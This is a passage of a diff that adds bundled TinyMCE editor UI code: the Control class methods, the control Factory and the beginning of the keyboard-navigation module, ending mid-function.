+
+			self._lastRepaintRect = lastRepaintRect;
+			self.fire('repaint', {}, false);
+		},
+
+		/**
+		 * Binds a callback to the specified event. This event can both be
+		 * native browser events like "click" or custom ones like PostRender.
+		 *
+		 * The callback function will be passed a DOM event like object that enables yout do stop propagation.
+		 *
+		 * @method on
+		 * @param {String} name Name of the event to bind. For example "click".
+		 * @param {String/function} callback Callback function to execute ones the event occurs.
+		 * @return {tinymce.ui.Control} Current control object.
+		 */
+		on: function(name, callback) {
+			var self = this;
+
+			function resolveCallbackName(name) {
+				var callback, scope;
+
+				if (typeof(name) != 'string') {
+					return name;
+				}
+
+				return function(e) {
+					if (!callback) {
+						self.parentsAndSelf().each(function(ctrl) {
+							var callbacks = ctrl.settings.callbacks;
+
+							if (callbacks && (callback = callbacks[name])) {
+								scope = ctrl;
+								return false;
+							}
+						});
+					}
+
+					return callback.call(scope, e);
+				};
+			}
+
+			getEventDispatcher(self).on(name, resolveCallbackName(callback));
+
+			return self;
+		},
+
+		/**
+		 * Unbinds the specified event and optionally a specific callback. If you omit the name
+		 * parameter all event handlers will be removed. If you omit the callback all event handles
+		 * by the specified name will be removed.
+		 *
+		 * @method off
+		 * @param {String} [name] Name for the event to unbind.
+		 * @param {function} [callback] Callback function to unbind.
+		 * @return {mxex.ui.Control} Current control object.
+		 */
+		off: function(name, callback) {
+			getEventDispatcher(this).off(name, callback);
+			return this;
+		},
+
+		/**
+		 * Fires the specified event by name and arguments on the control. This will execute all
+		 * bound event handlers.
+		 *
+		 * @method fire
+		 * @param {String} name Name of the event to fire.
+		 * @param {Object} [args] Arguments to pass to the event.
+		 * @param {Boolean} [bubble] Value to control bubbeling. Defaults to true.
+		 * @return {Object} Current arguments object.
+		 */
+		fire: function(name, args, bubble) {
+			var self = this;
+
+			args = args || {};
+
+			if (!args.control) {
+				args.control = self;
+			}
+
+			args = getEventDispatcher(self).fire(name, args);
+
+			// Bubble event up to parents
+			if (bubble !== false && self.parent) {
+				var parent = self.parent();
+				while (parent && !args.isPropagationStopped()) {
+					parent.fire(name, args, false);
+					parent = parent.parent();
+				}
+			}
+
+			return args;
+		},
+
+		/**
+		 * Returns true/false if the specified event has any listeners.
+		 *
+		 * @method hasEventListeners
+		 * @param {String} name Name of the event to check for.
+		 * @return {Boolean} True/false state if the event has listeners.
+		 */
+		hasEventListeners: function(name) {
+			return getEventDispatcher(this).has(name);
+		},
+
+		/**
+		 * Returns a control collection with all parent controls.
+		 *
+		 * @method parents
+		 * @param {String} selector Optional selector expression to find parents.
+		 * @return {tinymce.ui.Collection} Collection with all parent controls.
+		 */
+		parents: function(selector) {
+			var self = this, ctrl, parents = new Collection();
+
+			// Add each parent to collection
+			for (ctrl = self.parent(); ctrl; ctrl = ctrl.parent()) {
+				parents.add(ctrl);
+			}
+
+			// Filter away everything that doesn't match the selector
+			if (selector) {
+				parents = parents.filter(selector);
+			}
+
+			return parents;
+		},
+
+		/**
+		 * Returns the current control and it's parents.
+		 *
+		 * @method parentsAndSelf
+		 * @param {String} selector Optional selector expression to find parents.
+		 * @return {tinymce.ui.Collection} Collection with all parent controls.
+		 */
+		parentsAndSelf: function(selector) {
+			return new Collection(this).add(this.parents(selector));
+		},
+
+		/**
+		 * Returns the control next to the current control.
+		 *
+		 * @method next
+		 * @return {tinymce.ui.Control} Next control instance.
+		 */
+		next: function() {
+			var parentControls = this.parent().items();
+
+			return parentControls[parentControls.indexOf(this) + 1];
+		},
+
+		/**
+		 * Returns the control previous to the current control.
+		 *
+		 * @method prev
+		 * @return {tinymce.ui.Control} Previous control instance.
+		 */
+		prev: function() {
+			var parentControls = this.parent().items();
+
+			return parentControls[parentControls.indexOf(this) - 1];
+		},
+
+		/**
+		 * Find the common ancestor for two control instances.
+		 *
+		 * @method findCommonAncestor
+		 * @param {tinymce.ui.Control} ctrl1 First control.
+		 * @param {tinymce.ui.Control} ctrl2 Second control.
+		 * @return {tinymce.ui.Control} Ancestor control instance.
+		 */
+		findCommonAncestor: function(ctrl1, ctrl2) {
+			var parentCtrl;
+
+			while (ctrl1) {
+				parentCtrl = ctrl2;
+
+				while (parentCtrl && ctrl1 != parentCtrl) {
+					parentCtrl = parentCtrl.parent();
+				}
+
+				if (ctrl1 == parentCtrl) {
+					break;
+				}
+
+				ctrl1 = ctrl1.parent();
+			}
+
+			return ctrl1;
+		},
+
+		/**
+		 * Returns true/false if the specific control has the specific class.
+		 *
+		 * @method hasClass
+		 * @param {String} cls Class to check for.
+		 * @param {String} [group] Sub element group name.
+		 * @return {Boolean} True/false if the control has the specified class.
+		 */
+		hasClass: function(cls, group) {
+			var classes = this._classes[group || 'control'];
+
+			cls = this.classPrefix + cls;
+
+			return classes && !!classes.map[cls];
+		},
+
+		/**
+		 * Adds the specified class to the control
+		 *
+		 * @method addClass
+		 * @param {String} cls Class to check for.
+		 * @param {String} [group] Sub element group name.
+		 * @return {tinymce.ui.Control} Current control object.
+		 */
+		addClass: function(cls, group) {
+			var self = this, classes, elm;
+
+			cls = this.classPrefix + cls;
+			classes = self._classes[group || 'control'];
+
+			if (!classes) {
+				classes = [];
+				classes.map = {};
+				self._classes[group || 'control'] = classes;
+			}
+
+			if (!classes.map[cls]) {
+				classes.map[cls] = cls;
+				classes.push(cls);
+
+				if (self._rendered) {
+					elm = self.getEl(group);
+
+					if (elm) {
+						elm.className = classes.join(' ');
+					}
+				}
+			}
+
+			return self;
+		},
+
+		/**
+		 * Removes the specified class from the control.
+		 *
+		 * @method removeClass
+		 * @param {String} cls Class to remove.
+		 * @param {String} [group] Sub element group name.
+		 * @return {tinymce.ui.Control} Current control object.
+		 */
+		removeClass: function(cls, group) {
+			var self = this, classes, i, elm;
+
+			cls = this.classPrefix + cls;
+			classes = self._classes[group || 'control'];
+			if (classes && classes.map[cls]) {
+				delete classes.map[cls];
+
+				i = classes.length;
+				while (i--) {
+					if (classes[i] === cls) {
+						classes.splice(i, 1);
+					}
+				}
+			}
+
+			if (self._rendered) {
+				elm = self.getEl(group);
+
+				if (elm) {
+					elm.className = classes.join(' ');
+				}
+			}
+
+			return self;
+		},
+
+		/**
+		 * Toggles the specified class on the control.
+		 *
+		 * @method toggleClass
+		 * @param {String} cls Class to remove.
+		 * @param {Boolean} state True/false state to add/remove class.
+		 * @param {String} [group] Sub element group name.
+		 * @return {tinymce.ui.Control} Current control object.
+		 */
+		toggleClass: function(cls, state, group) {
+			var self = this;
+
+			if (state) {
+				self.addClass(cls, group);
+			} else {
+				self.removeClass(cls, group);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Returns the class string for the specified group name.
+		 *
+		 * @method classes
+		 * @param {String} [group] Group to get clases by.
+		 * @return {String} Classes for the specified group.
+		 */
+		classes: function(group) {
+			var classes = this._classes[group || 'control'];
+
+			return classes ? classes.join(' ') : '';
+		},
+
+		/**
+		 * Sets the inner HTML of the control element.
+		 *
+		 * @method innerHtml
+		 * @param {String} html Html string to set as inner html.
+		 * @return {tinymce.ui.Control} Current control object.
+		 */
+		innerHtml: function(html) {
+			DomUtils.innerHtml(this.getEl(), html);
+			return this;
+		},
+
+		/**
+		 * Returns the control DOM element or sub element.
+		 *
+		 * @method getEl
+		 * @param {String} [suffix] Suffix to get element by.
+		 * @return {Element} HTML DOM element for the current control or it's children.
+		 */
+		getEl: function(suffix) {
+			var id = suffix ? this._id + '-' + suffix : this._id;
+
+			if (!this._elmCache[id]) {
+				this._elmCache[id] = DomUtils.get(id);
+			}
+
+			return this._elmCache[id];
+		},
+
+		/**
+		 * Sets/gets the visible for the control.
+		 *
+		 * @method visible
+		 * @param {Boolean} state Value to set to control.
+		 * @return {Boolean/tinymce.ui.Control} Current control on a set operation or current state on a get.
+		 */
+		visible: function(state) {
+			var self = this, parentCtrl;
+
+			if (typeof(state) !== "undefined") {
+				if (self._visible !== state) {
+					if (self._rendered) {
+						self.getEl().style.display = state ? '' : 'none';
+					}
+
+					self._visible = state;
+
+					// Parent container needs to reflow
+					parentCtrl = self.parent();
+					if (parentCtrl) {
+						parentCtrl._lastRect = null;
+					}
+
+					self.fire(state ? 'show' : 'hide');
+				}
+
+				return self;
+			}
+
+			return self._visible;
+		},
+
+		/**
+		 * Sets the visible state to true.
+		 *
+		 * @method show
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		show: function() {
+			return this.visible(true);
+		},
+
+		/**
+		 * Sets the visible state to false.
+		 *
+		 * @method hide
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		hide: function() {
+			return this.visible(false);
+		},
+
+		/**
+		 * Focuses the current control.
+		 *
+		 * @method focus
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		focus: function() {
+			try {
+				this.getEl().focus();
+			} catch (ex) {
+				// Ignore IE error
+			}
+
+			return this;
+		},
+
+		/**
+		 * Blurs the current control.
+		 *
+		 * @method blur
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		blur: function() {
+			this.getEl().blur();
+
+			return this;
+		},
+
+		/**
+		 * Sets the specified aria property.
+		 *
+		 * @method aria
+		 * @param {String} name Name of the aria property to set.
+		 * @param {String} value Value of the aria property.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		aria: function(name, value) {
+			var self = this, elm = self.getEl(self.ariaTarget);
+
+			if (typeof(value) === "undefined") {
+				return self._aria[name];
+			} else {
+				self._aria[name] = value;
+			}
+
+			if (self._rendered) {
+				elm.setAttribute(name == 'role' ? name : 'aria-' + name, value);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Encodes the specified string with HTML entities. It will also
+		 * translate the string to different languages.
+		 *
+		 * @method encode
+		 * @param {String/Object/Array} text Text to entity encode.
+		 * @param {Boolean} [translate=true] False if the contents shouldn't be translated.
+		 * @return {String} Encoded and possible traslated string.
+		 */
+		encode: function(text, translate) {
+			if (translate !== false) {
+				text = this.translate(text);
+			}
+
+			return (text || '').replace(/[&<>"]/g, function(match) {
+				return '&#' + match.charCodeAt(0) + ';';
+			});
+		},
+
+		/**
+		 * Returns the translated string.
+		 *
+		 * @method translate
+		 * @param {String} text Text to translate.
+		 * @return {String} Translated string or the same as the input.
+		 */
+		translate: function(text) {
+			return Control.translate ? Control.translate(text) : text;
+		},
+
+		/**
+		 * Adds items before the current control.
+		 *
+		 * @method before
+		 * @param {Array/tinymce.ui.Collection} items Array of items to prepend before this control.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		before: function(items) {
+			var self = this, parent = self.parent();
+
+			if (parent) {
+				parent.insert(items, parent.items().indexOf(self), true);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Adds items after the current control.
+		 *
+		 * @method after
+		 * @param {Array/tinymce.ui.Collection} items Array of items to append after this control.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		after: function(items) {
+			var self = this, parent = self.parent();
+
+			if (parent) {
+				parent.insert(items, parent.items().indexOf(self));
+			}
+
+			return self;
+		},
+
+		/**
+		 * Removes the current control from DOM and from UI collections.
+		 *
+		 * @method remove
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		remove: function() {
+			var self = this, elm = self.getEl(), parent = self.parent(), newItems, i;
+
+			if (self.items) {
+				var controls = self.items().toArray();
+				i = controls.length;
+				while (i--) {
+					controls[i].remove();
+				}
+			}
+
+			if (parent && parent.items) {
+				newItems = [];
+
+				parent.items().each(function(item) {
+					if (item !== self) {
+						newItems.push(item);
+					}
+				});
+
+				parent.items().set(newItems);
+				parent._lastRect = null;
+			}
+
+			if (self._eventsRoot && self._eventsRoot == self) {
+				DomUtils.off(elm);
+			}
+
+			var lookup = self.getRoot().controlIdLookup;
+			if (lookup) {
+				delete lookup[self._id];
+			}
+
+			if (elm && elm.parentNode) {
+				elm.parentNode.removeChild(elm);
+			}
+
+			self._rendered = false;
+
+			return self;
+		},
+
+		/**
+		 * Renders the control before the specified element.
+		 *
+		 * @method renderBefore
+		 * @param {Element} elm Element to render before.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		renderBefore: function(elm) {
+			var self = this;
+
+			elm.parentNode.insertBefore(DomUtils.createFragment(self.renderHtml()), elm);
+			self.postRender();
+
+			return self;
+		},
+
+		/**
+		 * Renders the control to the specified element.
+		 *
+		 * @method renderBefore
+		 * @param {Element} elm Element to render to.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		renderTo: function(elm) {
+			var self = this;
+
+			elm = elm || self.getContainerElm();
+			elm.appendChild(DomUtils.createFragment(self.renderHtml()));
+			self.postRender();
+
+			return self;
+		},
+
+		/**
+		 * Post render method. Called after the control has been rendered to the target.
+		 *
+		 * @method postRender
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		postRender: function() {
+			var self = this, settings = self.settings, elm, box, parent, name, parentEventsRoot;
+
+			// Bind on<event> settings
+			for (name in settings) {
+				if (name.indexOf("on") === 0) {
+					self.on(name.substr(2), settings[name]);
+				}
+			}
+
+			if (self._eventsRoot) {
+				for (parent = self.parent(); !parentEventsRoot && parent; parent = parent.parent()) {
+					parentEventsRoot = parent._eventsRoot;
+				}
+
+				if (parentEventsRoot) {
+					for (name in parentEventsRoot._nativeEvents) {
+						self._nativeEvents[name] = true;
+					}
+				}
+			}
+
+			self.bindPendingEvents();
+
+			if (settings.style) {
+				elm = self.getEl();
+				if (elm) {
+					elm.setAttribute('style', settings.style);
+					elm.style.cssText = settings.style;
+				}
+			}
+
+			if (!self._visible) {
+				DomUtils.css(self.getEl(), 'display', 'none');
+			}
+
+			if (self.settings.border) {
+				box = self.borderBox();
+				DomUtils.css(self.getEl(), {
+					'border-top-width': box.top,
+					'border-right-width': box.right,
+					'border-bottom-width': box.bottom,
+					'border-left-width': box.left
+				});
+			}
+
+			// Add instance to lookup
+			var root = self.getRoot();
+			if (!root.controlIdLookup) {
+				root.controlIdLookup = {};
+			}
+
+			root.controlIdLookup[self._id] = self;
+
+			for (var key in self._aria) {
+				self.aria(key, self._aria[key]);
+			}
+
+			self.fire('postrender', {}, false);
+		},
+
+		/**
+		 * Scrolls the current control into view.
+		 *
+		 * @method scrollIntoView
+		 * @param {String} align Alignment in view top|center|bottom.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		scrollIntoView: function(align) {
+			function getOffset(elm, rootElm) {
+				var x, y, parent = elm;
+
+				x = y = 0;
+				while (parent && parent != rootElm && parent.nodeType) {
+					x += parent.offsetLeft || 0;
+					y += parent.offsetTop || 0;
+					parent = parent.offsetParent;
+				}
+
+				return {x: x, y: y};
+			}
+
+			var elm = this.getEl(), parentElm = elm.parentNode;
+			var x, y, width, height, parentWidth, parentHeight;
+			var pos = getOffset(elm, parentElm);
+
+			x = pos.x;
+			y = pos.y;
+			width = elm.offsetWidth;
+			height = elm.offsetHeight;
+			parentWidth = parentElm.clientWidth;
+			parentHeight = parentElm.clientHeight;
+
+			if (align == "end") {
+				x -= parentWidth - width;
+				y -= parentHeight - height;
+			} else if (align == "center") {
+				x -= (parentWidth / 2) - (width / 2);
+				y -= (parentHeight / 2) - (height / 2);
+			}
+
+			parentElm.scrollLeft = x;
+			parentElm.scrollTop = y;
+
+			return this;
+		},
+
+		/**
+		 * Binds pending DOM events.
+		 *
+		 * @private
+		 */
+		bindPendingEvents: function() {
+			var self = this, i, l, parents, eventRootCtrl, nativeEvents, name;
+
+			function delegate(e) {
+				var control = self.getParentCtrl(e.target);
+
+				if (control) {
+					control.fire(e.type, e);
+				}
+			}
+
+			function mouseLeaveHandler() {
+				var ctrl = eventRootCtrl._lastHoverCtrl;
+
+				if (ctrl) {
+					ctrl.fire("mouseleave", {target: ctrl.getEl()});
+
+					ctrl.parents().each(function(ctrl) {
+						ctrl.fire("mouseleave", {target: ctrl.getEl()});
+					});
+
+					eventRootCtrl._lastHoverCtrl = null;
+				}
+			}
+
+			function mouseEnterHandler(e) {
+				var ctrl = self.getParentCtrl(e.target), lastCtrl = eventRootCtrl._lastHoverCtrl, idx = 0, i, parents, lastParents;
+
+				// Over on a new control
+				if (ctrl !== lastCtrl) {
+					eventRootCtrl._lastHoverCtrl = ctrl;
+
+					parents = ctrl.parents().toArray().reverse();
+					parents.push(ctrl);
+
+					if (lastCtrl) {
+						lastParents = lastCtrl.parents().toArray().reverse();
+						lastParents.push(lastCtrl);
+
+						for (idx = 0; idx < lastParents.length; idx++) {
+							if (parents[idx] !== lastParents[idx]) {
+								break;
+							}
+						}
+
+						for (i = lastParents.length - 1; i >= idx; i--) {
+							lastCtrl = lastParents[i];
+							lastCtrl.fire("mouseleave", {
+								target : lastCtrl.getEl()
+							});
+						}
+					}
+
+					for (i = idx; i < parents.length; i++) {
+						ctrl = parents[i];
+						ctrl.fire("mouseenter", {
+							target : ctrl.getEl()
+						});
+					}
+				}
+			}
+
+			function fixWheelEvent(e) {
+				e.preventDefault();
+
+				if (e.type == "mousewheel") {
+					e.deltaY = -1 / 40 * e.wheelDelta;
+
+					if (e.wheelDeltaX) {
+						e.deltaX = -1 / 40 * e.wheelDeltaX;
+					}
+				} else {
+					e.deltaX = 0;
+					e.deltaY = e.detail;
+				}
+
+				e = self.fire("wheel", e);
+			}
+
+			self._rendered = true;
+
+			nativeEvents = self._nativeEvents;
+			if (nativeEvents) {
+				// Find event root element if it exists
+				parents = self.parents().toArray();
+				parents.unshift(self);
+				for (i = 0, l = parents.length; !eventRootCtrl && i < l; i++) {
+					eventRootCtrl = parents[i]._eventsRoot;
+				}
+
+				// Event root wasn't found the use the root control
+				if (!eventRootCtrl) {
+					eventRootCtrl = parents[parents.length - 1] || self;
+				}
+
+				// Set the eventsRoot property on children that didn't have it
+				self._eventsRoot = eventRootCtrl;
+				for (l = i, i = 0; i < l; i++) {
+					parents[i]._eventsRoot = eventRootCtrl;
+				}
+
+				var eventRootDelegates = eventRootCtrl._delegates;
+				if (!eventRootDelegates) {
+					eventRootDelegates = eventRootCtrl._delegates = {};
+				}
+
+				// Bind native event delegates
+				for (name in nativeEvents) {
+					if (!nativeEvents) {
+						return false;
+					}
+
+					if (name === "wheel" && !hasWheelEventSupport) {
+						if (hasMouseWheelEventSupport) {
+							DomUtils.on(self.getEl(), "mousewheel", fixWheelEvent);
+						} else {
+							DomUtils.on(self.getEl(), "DOMMouseScroll", fixWheelEvent);
+						}
+
+						continue;
+					}
+
+					// Special treatment for mousenter/mouseleave since these doesn't bubble
+					if (name === "mouseenter" || name === "mouseleave") {
+						// Fake mousenter/mouseleave
+						if (!eventRootCtrl._hasMouseEnter) {
+							DomUtils.on(eventRootCtrl.getEl(), "mouseleave", mouseLeaveHandler);
+							DomUtils.on(eventRootCtrl.getEl(), "mouseover", mouseEnterHandler);
+							eventRootCtrl._hasMouseEnter = 1;
+						}
+					} else if (!eventRootDelegates[name]) {
+						DomUtils.on(eventRootCtrl.getEl(), name, delegate);
+						eventRootDelegates[name] = true;
+					}
+
+					// Remove the event once it's bound
+					nativeEvents[name] = false;
+				}
+			}
+		},
+
+		getRoot: function() {
+			var ctrl = this, rootControl, parents = [];
+
+			while (ctrl) {
+				if (ctrl.rootControl) {
+					rootControl = ctrl.rootControl;
+					break;
+				}
+
+				parents.push(ctrl);
+				rootControl = ctrl;
+				ctrl = ctrl.parent();
+			}
+
+			if (!rootControl) {
+				rootControl = this;
+			}
+
+			var i = parents.length;
+			while (i--) {
+				parents[i].rootControl = rootControl;
+			}
+
+			return rootControl;
+		},
+
+		/**
+		 * Reflows the current control and it's parents.
+		 * This should be used after you for example append children to the current control so
+		 * that the layout managers know that they need to reposition everything.
+		 *
+		 * @example
+		 * container.append({type: 'button', text: 'My button'}).reflow();
+		 *
+		 * @method reflow
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		reflow: function() {
+			this.repaint();
+
+			return this;
+		}
+
+		/**
+		 * Sets/gets the parent container for the control.
+		 *
+		 * @method parent
+		 * @param {tinymce.ui.Container} parent Optional parent to set.
+		 * @return {tinymce.ui.Control} Parent control or the current control on a set action.
+		 */
+		// parent: function(parent) {} -- Generated
+
+		/**
+		 * Sets/gets the text for the control.
+		 *
+		 * @method text
+		 * @param {String} value Value to set to control.
+		 * @return {String/tinymce.ui.Control} Current control on a set operation or current value on a get.
+		 */
+		// text: function(value) {} -- Generated
+
+		/**
+		 * Sets/gets the width for the control.
+		 *
+		 * @method width
+		 * @param {Number} value Value to set to control.
+		 * @return {Number/tinymce.ui.Control} Current control on a set operation or current value on a get.
+		 */
+		// width: function(value) {} -- Generated
+
+		/**
+		 * Sets/gets the height for the control.
+		 *
+		 * @method height
+		 * @param {Number} value Value to set to control.
+		 * @return {Number/tinymce.ui.Control} Current control on a set operation or current value on a get.
+		 */
+		// height: function(value) {} -- Generated
+
+		/**
+		 * Sets/gets the disabled state on the control.
+		 *
+		 * @method disabled
+		 * @param {Boolean} state Value to set to control.
+		 * @return {Boolean/tinymce.ui.Control} Current control on a set operation or current state on a get.
+		 */
+		// disabled: function(state) {} -- Generated
+
+		/**
+		 * Sets/gets the active for the control.
+		 *
+		 * @method active
+		 * @param {Boolean} state Value to set to control.
+		 * @return {Boolean/tinymce.ui.Control} Current control on a set operation or current state on a get.
+		 */
+		// active: function(state) {} -- Generated
+
+		/**
+		 * Sets/gets the name for the control.
+		 *
+		 * @method name
+		 * @param {String} value Value to set to control.
+		 * @return {String/tinymce.ui.Control} Current control on a set operation or current value on a get.
+		 */
+		// name: function(value) {} -- Generated
+
+		/**
+		 * Sets/gets the title for the control.
+		 *
+		 * @method title
+		 * @param {String} value Value to set to control.
+		 * @return {String/tinymce.ui.Control} Current control on a set operation or current value on a get.
+		 */
+		// title: function(value) {} -- Generated
+	});
+
+	return Control;
+});
+
+// Included from: js/tinymce/classes/ui/Factory.js
+
+/**
+ * Factory.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+/**
+ * This class is a factory for control instances. This enables you
+ * to create instances of controls without having to require the UI controls directly.
+ *
+ * It also allow you to override or add new control types.
+ *
+ * @class tinymce.ui.Factory
+ */
+define("tinymce/ui/Factory", [], function() {
+	"use strict";
+
+	var types = {}, namespaceInit;
+
+	return {
+		/**
+		 * Adds a new control instance type to the factory.
+		 *
+		 * @method add
+		 * @param {String} type Type name for example "button".
+		 * @param {function} typeClass Class type function.
+		 */
+		add: function(type, typeClass) {
+			types[type.toLowerCase()] = typeClass;
+		},
+
+		/**
+		 * Returns true/false if the specified type exists or not.
+		 *
+		 * @method has
+		 * @param {String} type Type to look for.
+		 * @return {Boolean} true/false if the control by name exists.
+		 */
+		has: function(type) {
+			return !!types[type.toLowerCase()];
+		},
+
+		/**
+		 * Creates a new control instance based on the settings provided. The instance created will be
+		 * based on the specified type property it can also create whole structures of components out of
+		 * the specified JSON object.
+		 *
+		 * @example
+		 * tinymce.ui.Factory.create({
+		 *     type: 'button',
+		 *     text: 'Hello world!'
+		 * });
+		 *
+		 * @method create
+		 * @param {Object/String} settings Name/Value object with items used to create the type.
+		 * @return {tinymce.ui.Control} Control instance based on the specified type.
+		 */
+		create: function(type, settings) {
+			var ControlType, name, namespace;
+
+			// Build type lookup
+			if (!namespaceInit) {
+				namespace = tinymce.ui;
+
+				for (name in namespace) {
+					types[name.toLowerCase()] = namespace[name];
+				}
+
+				namespaceInit = true;
+			}
+
+			// If string is specified then use it as the type
+			if (typeof(type) == 'string') {
+				settings = settings || {};
+				settings.type = type;
+			} else {
+				settings = type;
+				type = settings.type;
+			}
+
+			// Find control type
+			type = type.toLowerCase();
+			ControlType = types[type];
+
+			// #if debug
+
+			if (!ControlType) {
+				throw new Error("Could not find control by type: " + type);
+			}
+
+			// #endif
+
+			ControlType = new ControlType(settings);
+			ControlType.type = type; // Set the type on the instance, this will be used by the Selector engine
+
+			return ControlType;
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/ui/KeyboardNavigation.js
+
+/**
+ * KeyboardNavigation.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles keyboard navigation of controls and elements.
+ *
+ * @class tinymce.ui.KeyboardNavigation
+ */
+define("tinymce/ui/KeyboardNavigation", [
+], function() {
+	"use strict";
+
+	/**
+	 * This class handles all keyboard navigation for WAI-ARIA support. Each root container
+	 * gets an instance of this class.
+	 *
+	 * @constructor
+	 */
+	return function(settings) {
+		var root = settings.root, focusedElement, focusedControl;
+
+		try {
+			focusedElement = document.activeElement;
+		} catch (ex) {
+			// IE sometimes fails to return a proper element
+			focusedElement = document.body;
+		}
+
+		focusedControl = root.getParentCtrl(focusedElement);
+
+		/**
+		 * Returns the currently focused elements wai aria role of the currently
+		 * focused element or specified element.
+		 *
+		 * @private
+		 * @param {Element} elm Optional element to get role from.
+		 * @return {String} Role of specified element.
+		 */
+		function getRole(elm) {
+			elm = elm || focusedElement;
+
+			return elm && elm.getAttribute('role');
+		}
+
+		/**
+		 * Returns the wai role of the parent element of the currently
+		 * focused element or specified element.
+		 *
+		 * @private
+		 * @param {Element} elm Optional element to get parent role from.
+		 * @return {String} Role of the first parent that has a role.
+		 */
+		function getParentRole(elm) {
+			var role, parent = elm || focusedElement;
+
+			while ((parent = parent.parentNode)) {
+				if ((role = getRole(parent))) {
+					return role;
+				}
+			}
+		}
+
+		/**
+		 * Returns a wai aria property by name for example aria-selected.
+		 *
+		 * @private
+		 * @param {String} name Name of the aria property to get for example "disabled".
+		 * @return {String} Aria property value.
+		 */
+		function getAriaProp(name) {
+			var elm = focusedElement;
+
+			if (elm) {
+				return elm.getAttribute('aria-' + name);
+			}
+		}
+
+		/**
+		 * Is the element a text input element or not.
+		 *
+		 * @private
+		 * @param {Element} elm Element to check if it's an text input element or not.
+		 * @return {Boolean} True/false if the element is a text element or not.
+		 */
+		function isTextInputElement(elm) {
+			var tagName = elm.tagName.toUpperCase();
+
+			// Notice: since type can be "email" etc we don't check the type
+			// So all input elements gets treated as text input elements
+			return tagName == "INPUT" || tagName == "TEXTAREA";
+		}
+
+		/**
+		 * Returns true/false if the specified element can be focused or not.
+		 *
+		 * @private
+		 * @param {Element} elm DOM element to check if it can be focused or not.
+		 * @return {Boolean} True/false if the element can have focus.
+		 */
+		function canFocus(elm) {
+			if (isTextInputElement(elm) && !elm.hidden) {
+				return true;
+			}
+
+			if (/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell)$/.test(getRole(elm))) {
+				return true;
+			}
+
+			return false;
+		}
+
+		/**
+		 * Returns an array of focusable visible elements within the specified container element.
+		 *
+		 * @private
+		 * @param {Element} elm DOM element to find focusable elements within.
+		 * @return {Array} Array of focusable elements.
+		 */
+		function getFocusElements(elm) {
+			var elements = [];
+
+			function collect(elm) {
+				if (elm.nodeType != 1 || elm.style.display == 'none') {
+					return;
+				}
+
+				if (canFocus(elm)) {
+					elements.push(elm);
+				}
+
+				for (var i = 0; i < elm.childNodes.length; i++) {
+					collect(elm.childNodes[i]);
+				}
+			}
+
+			collect(elm || root.getEl());
+
+			return elements;
+		}
+
+		/**
+		 * Returns the navigation root control for the specified control. The navigation root
+		 * is the control that the keyboard navigation gets scoped to for example a menubar or toolbar group.
+		 * It will look for parents of the specified target control or the currently focused control if this option is omitted.
+		 *
+		 * @private
+		 * @param {tinymce.ui.Control} targetControl Optional target control to find root of.
+		 * @return {tinymce.ui.Control} Navigation root control.
+		 */
+		function getNavigationRoot(targetControl) {
+			var navigationRoot, controls;
+
+			targetControl = targetControl || focusedControl;
+			controls = targetControl.parents().toArray();
+			controls.unshift(targetControl);
+
+			for (var i = 0; i < controls.length; i++) {
+				navigationRoot = controls[i];
+
+				if (navigationRoot.settings.ariaRoot) {
+					break;
+				}
+			}
+
+			return navigationRoot;
+		}
+
+		/**
+		 * Focuses the first item in the specified targetControl element or the last aria index if the
+		 * navigation root has the ariaRemember option enabled.
+		 *
+		 * @private
+		 * @param {tinymce.ui.Control} targetControl Target control to focus the first item in.
+		 */
+		function focusFirst(targetControl) {
+			var navigationRoot = getNavigationRoot(targetControl);
+			var focusElements = getFocusElements(navigationRoot.getEl());
+
+			if (navigationRoot.settings.ariaRemember && "lastAriaIndex" in navigationRoot) {
+				moveFocusToIndex(navigationRoot.lastAriaIndex, focusElements);
+			} else {
+				moveFocusToIndex(0, focusElements);
+			}
+		}
+
+		/**
+		 * Moves the focus to the specified index within the elements list.
+		 * This will scope the index to the size of the element list if it changed.
+		 *
+		 * @private
+		 * @param {Number} idx Specified index to move to.
+		 * @param {Array} elements Array with dom elements to move focus within.
+		 * @return {Number} Input index or a changed index if it was out of range.
+		 */
+		function moveFocusToIndex(idx, elements) {
+			if (idx < 0) {
+				idx = elements.length - 1;
+			} else if (idx >= elements.length) {
+				idx = 0;
+			}
+
+			if (elements[idx]) {
+				elements[idx].focus();
+			}
+
+			return idx;
+		}
+
+		/**
+		 * Moves the focus forwards or backwards.
+		 *
+		 * @private
+		 * @param {Number} dir Direction to move in positive means forward, negative means backwards.
+		 * @param {Array} elements Optional array of elements to move within defaults to the current navigation roots elements.
+		 */
+		function moveFocus(dir, elements) {
+			var idx = -1, navigationRoot = getNavigationRoot();
+
+			elements = elements || getFocusElements(navigationRoot.getEl());
+
+			for (var i = 0; i < elements.length; i++) {
+				if (elements[i] === focusedElement) {
+					idx = i;
+				}
+			}
+
+			idx += dir;
+			navigationRoot.lastAriaIndex = moveFocusToIndex(idx, elements);
+		}
+
+		/**
+		 * Moves the focus to the left this is called by the left key.
+		 *
+		 * @private
+		 */
+		function left() {
+			var parentRole = getParentRole();
+
+			if (parentRole == "tablist") {
+				moveFocus(-1, getFocusElements(focusedElement.parentNode));
+			} else if (focusedControl.parent().submenu) {
+				cancel();
